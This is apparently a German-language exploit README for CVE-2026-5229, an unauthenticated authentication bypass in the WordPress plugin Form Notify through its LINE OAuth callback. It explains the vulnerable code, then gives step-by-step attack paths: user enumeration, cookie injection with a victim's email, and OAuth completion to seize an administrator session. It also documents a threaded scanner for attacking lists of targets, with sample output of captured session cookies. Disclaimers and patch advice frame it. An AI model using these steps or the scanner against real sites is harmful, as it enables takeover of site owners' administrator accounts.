
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) Schwachstellentyp: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HBetroffene Versionen: <= 1.1.10 Gepatchete Version: 1.1.11+ Forscher: Paolo Tresso — Wordfence
Das Form Notify Plugin ist ein WordPress-Plugin, das Benachrichtigungen nach Formularübermittlungen sendet und eine LINE Login OAuth 2.0-Integration bereitstellt.
Die Schwachstelle befindet sich im LINE OAuth Callback-Handler. Nachdem der Benutzer den LINE-Autorisierungsablauf abgeschlossen hat, löst das Plugin das WordPress-Konto nur anhand der E-Mail-Adresse auf. Ob das LINE-Konto bereits mit diesem WordPress-Konto verknüpft wurde, wird nie überprüft.
| Version | Schwachstelle | Angriffsmethode |
|---|---|---|
| <= 1.1.08 | Cookie-Injection + E-Mail-Match | Pfad A oder Pfad B |
| 1.1.09 – 1.1.10 | E-Mail-Match (Cookie entfernt) | Pfad B |
| 1.1.11+ | Gepatched | — |
Der LINE OAuth Callback-Endpunkt ist vollständig öffentlich registriert:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // keine Authentifizierung erforderlich
},
)
);
WordPress-Nonces sind CSRF-Token, keine Authentifizierungs-Token. Jeder Besucher kann einen gültigen Nonce aus dem HTML der Seite holen und die Prüfung bestehen.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // nur Suche per E-Mail
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // KEINE Verknüpfungsprüfung
}
return false;
}
Wenn eine Übereinstimmung gefunden wird, öffnet die Methode login() sofort eine Sitzung:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Wenn das LINE-Profil keine E-Mail zurückgibt ($user->email leer), liest das Plugin
direkt das Browser-Cookie aus.
Der Angreifer hat dieses Cookie vollständig unter Kontrolle.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Falls Transient nicht vorhanden, fällt auf $_SESSION zurück
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Wenn der Transient abgelaufen ist, greift der $_SESSION-Fallback.
Bei den meisten WordPress-Installationen ist $_SESSION an dieser Stelle nicht gesetzt →
Der State-Check kann umgangen werden.
// sign_up()-Methode
$userdata = array(
'user_pass' => $user_email, // Passwort = E-Mail-Adresse
...
);
Bei Konten, die über den LINE OAuth-Ablauf erstellt wurden, ist das Passwort identisch mit der E-Mail-Adresse. Dies erlaubt direkte Brute-Force- oder Login-Angriffe.
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
Voraussetzungen:
TARGET="https://target.com"
# WordPress REST API: Benutzerliste
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Oder Author-Seiten
curl -s "$TARGET/?author=1" -I | grep Location
Browser-Entwicklertools öffnen und in die Konsole einfügen:
document.cookie = "[email protected]; path=/";
Oder mit curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Die LINE OAuth-URL aus dem Location-Header im Browser öffnen.
Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung nicht erteilen oder ein LINE-Konto ohne E-Mail verwenden. LINE leitet ohne E-Mail an den Callback weiter. Das Plugin fällt auf das Cookie zurück.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Erwartete Antwort:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Wie Schritt 1 von Pfad A.
Auf account.line.biz ein LINE-Konto mit der Ziel-E-Mail erstellen.
(E-Mail-Verifizierung erforderlich — Zugriff auf das Ziel-Postfach notwendig.)
https://target.com/wp-json/form-notify/v1/login
Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung erteilen. LINE gibt die E-Mail-Adresse an den Callback zurück.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator gefunden
→ wp_set_auth_cookie(1)
→ Sitzung geöffnet ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://ziel.com
python form_notify_rce.py -u http://ziel.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://ziel.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://ziel.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o ergebnisse.txt
python form_notify_rce.py -u http://ziel.com \
--proxy http://127.0.0.1:8080
[*] 3 Ziele | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://ziel1.com (Pfad A)
Ziel-E-Mail : [email protected]
Version : 1.1.08
OAuth-URL : https://access.line.me/oauth2/v2.1/authorize?...
Benutzer : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://ziel2.com (Pfad A — Manuelle Fertigstellung)
Ziel-E-Mail : [email protected]
Cookie Set : [email protected]
OAuth-URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://ziel3.com (LINE Login nicht aktiv)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
Sicheres Kontoauflösungsbeispiel:
// Unsicher (aktuell)
$user = get_user_by( 'email', $line_email );
// Sicher (empfohlen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // mit LINE-ID abgleichen
) );
form-notify-bypass/
├── form_notify_rce.py # Hauptscanner
├── requirements.txt # Abhängigkeiten
└── README.md # Diese Datei
Dieses Tool und der PoC sind ausschließlich für autorisierte Systeme, Bildungszwecke und im Rahmen von Penetrationstests bestimmt. Die Nutzung auf nicht autorisierten Systemen stellt gemäß §§ 202a-202c StGB (deutsche Strafrechtsnormen) und internationalen Cybercrime-Gesetzen eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Verantwortung für Missbrauch des Tools.
MIT License — Nur für Bildungs- und Forschungszwecke bestimmt.
| Grund | Beschreibung |
|---|
| Keine Authentifizierung erforderlich | Callback-Endpunkt vollständig öffentlich |
| Keine Verknüpfungsprüfung | Jedes LINE-Konto ausreichend |
| Cookie-Angriff | <= 1.1.08 nicht einmal E-Mail nötig |
| Alle Konten inkl. Admin | get_user_by('email') betrifft alle |
| Schwache State-Kontrolle | CSRF-Schutz umgehbar |
| E-Mail = Passwort | Über OAuth geöffnete Konten trivial brute-force-angreifbar |
| Parameter | Kurz | Beschreibung | Standard |
|---|
--url | -u | Einzelnes Ziel-URL | — |
--list | -l | Datei mit Zielliste | — |
--threads | -t | Anzahl Threads | 10 |
--output | -o | Ausgabedatei | auth_bypass.txt |
--email | — | Ziel-Benutzer-E-Mail | automatische Erkennung |
--path | — | Angriffspfad (A / B / both) | both |
--max-users | — | Max. Benutzer pro Ziel | 5 |
--proxy | — | Proxy-URL | — |
--timeout | — | Request-Timeout (Sek.) | 10 |
| Status | Beschreibung |
|---|
★ AUTH OK | Sitzungs-Cookie erhalten — vollautomatisch |
★ WP-ADMIN | Weiterleitung zu /wp-admin |
~ MANUAL | OAuth-URL bereit, im Browser abschließen |
~ PATH B | Manuelle Schritte mit LINE-Konto |
- NO_PLUGIN | Form Notify nicht installiert |
- NO_LINE | LINE Login nicht aktiv |
~ NO_TARGET | Benutzer-E-Mail nicht gefunden |
~ UNREACH | Ziel nicht erreichbar |
| Maßnahme | Umsetzung |
|---|
| Plugin-Upgrade | Auf Form Notify 1.1.11+ aktualisieren |
| LINE-Verknüpfungsprüfung | LINE-ID in Benutzer-Meta speichern, bei jedem Login prüfen |
| Cookie-Fallback entfernen | Verwendung von $_COOKIE['form_notify_line_email'] entfernen |
| State-Validierung | Transient-Fallback entfernen, abgelaufenen State ablehnen |
| Passwortrichtlinie | In sign_up() E-Mail nicht als Passwort verwenden |
| REST-Endpunktschutz | Rate Limiting für den Callback-Endpunkt einführen |